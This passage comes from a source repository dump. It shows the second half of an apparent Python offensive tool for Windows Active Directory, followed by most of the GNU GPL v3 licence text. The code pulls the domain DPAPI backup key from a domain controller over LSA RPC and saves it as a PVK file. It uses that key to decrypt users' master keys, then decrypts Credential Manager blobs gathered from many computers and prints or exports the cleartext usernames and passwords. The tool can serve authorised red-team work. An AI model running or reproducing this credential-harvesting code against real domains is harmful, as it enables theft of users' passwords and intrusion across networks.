lsad.hLsarOpenPolicy2(dce, lsad.POLICY_GET_PRIVATE_INFORMATION) 190 | 191 | # now retrieve backup key GUID : https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-bkrp/e8118398-d3da-45fc-827f-186f1c417b69 192 | buffer = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], "G$BCKUPKEY_PREFERRED")) 193 | guid = bin_to_string(buffer) 194 | name = "G$BCKUPKEY_{}".format(guid) 195 | secret = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], name)) 196 | backup_key = PREFERRED_BACKUP_KEY(secret) 197 | pvk = backup_key['Data'][:backup_key['KeyLength']] 198 | 199 | # see my PR on pypykatz to understand structure : https://github.com/skelsec/pypykatz/blob/master/pypykatz/dpapi/dpapi.py 200 | header = PVK_FILE_HDR() 201 | header['dwMagic'] = 0xb0b5f11e 202 | header['dwVersion'] = 0 203 | header['dwKeySpec'] = 1 204 | header['dwEncryptType'] = 0 205 | header['cbEncryptData'] = 0 206 | header['cbPvk'] = backup_key['KeyLength'] 207 | key = header.getData() + pvk 208 | open(directory + "/pvkfile.pvk", 'wb').write(key) 209 | except: 210 | print("[!] Error : Can't extract domain backup keys.") 211 | if options.debug is True or options.debugmax is True: 212 | import traceback 213 | traceback.print_exc() 214 | sys.exit(1) 215 | 216 | 217 | 218 | if options.pvk is not None or os.path.exists(directory+"/pvkfile.pvk"): 219 | pvk_file = directory + "/pvkfile.pvk" 220 | if options.pvk is not None: 221 | pvk_file = options.pvk 222 | 223 | # decrypt pvk file 224 | if options.debug is True: 225 | print("[+] Domain backup keys found.") 226 | print("[+] Trying to decrypt PVK file...") 227 | try: 228 | pvkfile = open(pvk_file, 'rb').read() 229 | key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) 230 | private = privatekeyblob_to_pkcs1(key) 231 | cipher = PKCS1_v1_5.new(private) 232 | 233 | array_of_mkf_keys = [] 234 | if options.debug is True: 235 | print("[+] PVK file decrypted.\n[+] Trying to decrypt all MFK...") 236 | 237 | for filename in os.listdir(mkfFolder): 238 | try: 239 | # open mkf and extract content 240 | fp = open(mkfFolder + "/" + filename, 'rb') 241 | data = fp.read() 242 | mkf= MasterKeyFile(data) 243 | data = data[len(mkf):] 244 | if mkf['MasterKeyLen'] > 0: 245 | mk = MasterKey(data[:mkf['MasterKeyLen']]) 246 | data = data[len(mk):] 247 | if mkf['BackupKeyLen'] > 0: 248 | bkmk = MasterKey(data[:mkf['BackupKeyLen']]) 249 | data = data[len(bkmk):] 250 | if mkf['CredHistLen'] > 0: 251 | ch = CredHist(data[:mkf['CredHistLen']]) 252 | data = data[len(ch):] 253 | if mkf['DomainKeyLen'] > 0: 254 | dk = DomainKey(data[:mkf['DomainKeyLen']]) 255 | data = data[len(dk):] 256 | # try to decrypt mkf with domain backup key 257 | decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) 258 | if decryptedKey: 259 | domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey) 260 | key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']] 261 | array_of_mkf_keys.append(key) 262 | if options.debugmax is True: 263 | print("[+] New mkf key decrypted : " + str(hexlify(key).decode('latin-1')) ) 264 | except: 265 | if options.debugmax is True: 266 | print("[!] Error occured while decrypting MKF.") 267 | import traceback 268 | traceback.print_exc() 269 | pass 270 | if options.debug is True: 271 | print("[+] "+str( len(array_of_mkf_keys)) + " MKF keys have been decrypted !") 272 | except: 273 | print("[!] Error occured while decrypting PVK file.") 274 | if options.debug is True: 275 | import traceback 276 | traceback.print_exc() 277 | os._exit(1) 278 | else: 279 | print("[!] Domain backup keys not found.") 280 | if options.debug is True: 281 | import traceback 282 | traceback.print_exc() 283 | os._exit(1) 284 | 285 | 286 | 287 | if len(array_of_mkf_keys) > 0: 288 | # We have MKF keys so we can start blob decryption 289 | if options.debug is True: 290 | print("[+] Starting blob decryption with MKF keys...") 291 | array_of_credentials = [] 292 | for current_computer in os.listdir(blobFolder): 293 | current_computer_folder = blobFolder + "/" + current_computer 294 | if current_computer != "." and current_computer != ".." and os.path.isdir(current_computer_folder): 295 | for username in os.listdir(current_computer_folder): 296 | current_user_folder = current_computer_folder + "/" + username 297 | if username != "." and username != ".." and os.path.isdir(current_user_folder): 298 | for filename in os.listdir(current_user_folder): 299 | try: 300 | fp = open(current_user_folder + "/" + filename, 'rb') 301 | data = fp.read() 302 | cred = CredentialFile(data) 303 | blob = DPAPI_BLOB(cred['Data']) 304 | 305 | if options.debugmax is True: 306 | print("[+] Starting decryption of blob " + filename + "...") 307 | 308 | for mkf_key in array_of_mkf_keys: 309 | try: 310 | decrypted = blob.decrypt(mkf_key) 311 | if decrypted is not None: 312 | creds = CREDENTIAL_BLOB(decrypted) 313 | tmp_cred = {} 314 | tmp_cred['foundon'] = str(current_computer) 315 | tmp_cred['inusersession'] = str(username) 316 | tmp_cred['lastwritten'] = datetime.utcfromtimestamp(getUnixTime(creds['LastWritten'])) 317 | tmp_cred['target'] = creds['Target'].decode('utf-16le') 318 | tmp_cred["username"] = creds['Username'].decode('utf-16le') 319 | tmp_cred["password1"] = creds['Unknown'].decode('utf-16le') 320 | tmp_cred["password2"] = str( creds['Unknown3'].decode('utf-16le') ) 321 | if options.md5 is True: 322 | if len(creds['Unknown'].decode('utf-16le')) > 0: 323 | tmp_cred["password1"] = hashlib.md5(str( creds['Unknown'].decode('utf-16le') ).encode('utf-8')).hexdigest() 324 | tmp_cred["password2"] = hashlib.md5(str( creds['Unknown3'].decode('utf-16le') ).encode('utf-8')).hexdigest() 325 | array_of_credentials.append(tmp_cred) 326 | except: 327 | if options.debugmax is True: 328 | print("[!] Error occured while decrypting blob file.") 329 | import traceback 330 | traceback.print_exc() 331 | pass 332 | except: 333 | if options.debug is True: 334 | print("[!] Error occured while decrypting blob file.") 335 | import traceback 336 | traceback.print_exc() 337 | pass 338 | if len(array_of_credentials) > 0: 339 | if options.debug is True: 340 | end = time.time() 341 | elapsed = round(end - start) 342 | print("[+] Credentials gathered and decrypted in " + str(elapsed) + " seconds\n") 343 | print("[+] "+str(len(array_of_credentials)) + " credentials have been decrypted !\n") 344 | i = 0 345 | if options.csv is True: 346 | with open(directory + '/exported_credentials.csv', 'w', encoding='UTF8') as f: 347 | header = "Found on;Session username;LastWritten;Target;Username;Password 1;Password 2\n" 348 | f.write(header) 349 | for credential in array_of_credentials: 350 | i = i + 1 351 | current_row = str(credential['foundon']) +";"+ str(credential['inusersession'])+";"+ str(credential['lastwritten'])+";"+ str(credential['target'])+";"+ str(credential['username'])+";"+ str(credential['password1'])+";"+ str(credential['password2'])+"\n" 352 | f.write(current_row) 353 | print("[+] File successfully saved to ./" + str(directory) + '/exported_credentials.csv') 354 | else: 355 | for credential in array_of_credentials: 356 | if i == 0: 357 | print("***********************************************") 358 | i = i + 1 359 | print("Found on : " + str(credential['foundon'])) 360 | print("Session username : " + str(credential['inusersession'])) 361 | print("LastWritten : " + str(credential['lastwritten'])) 362 | print("Target : " + str(credential['target'])) 363 | print("Username : " + str(credential['username'])) 364 | if len(credential['password1']) > 0: 365 | print("Password 1 : " + str(credential['password1'])) 366 | print("Password 2 : " + str(credential['password2'])) 367 | else: 368 | print("Password : " + str(credential['password2'])) 369 | print("***********************************************") 370 | 371 | 372 | else: 373 | print("[!] No credentials could be decrypted.") 374 | os._exit(1) 375 | else: 376 | print("[!] No MKF have been decrypted.\nBlobs will not be decrypted.") 377 | os._exit(1) 378 | 379 | 380 | 381 | if __name__ == "__main__": 382 | try: 383 | main() 384 | except KeyboardInterrupt: 385 | os._exit(1) 386 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft 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You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------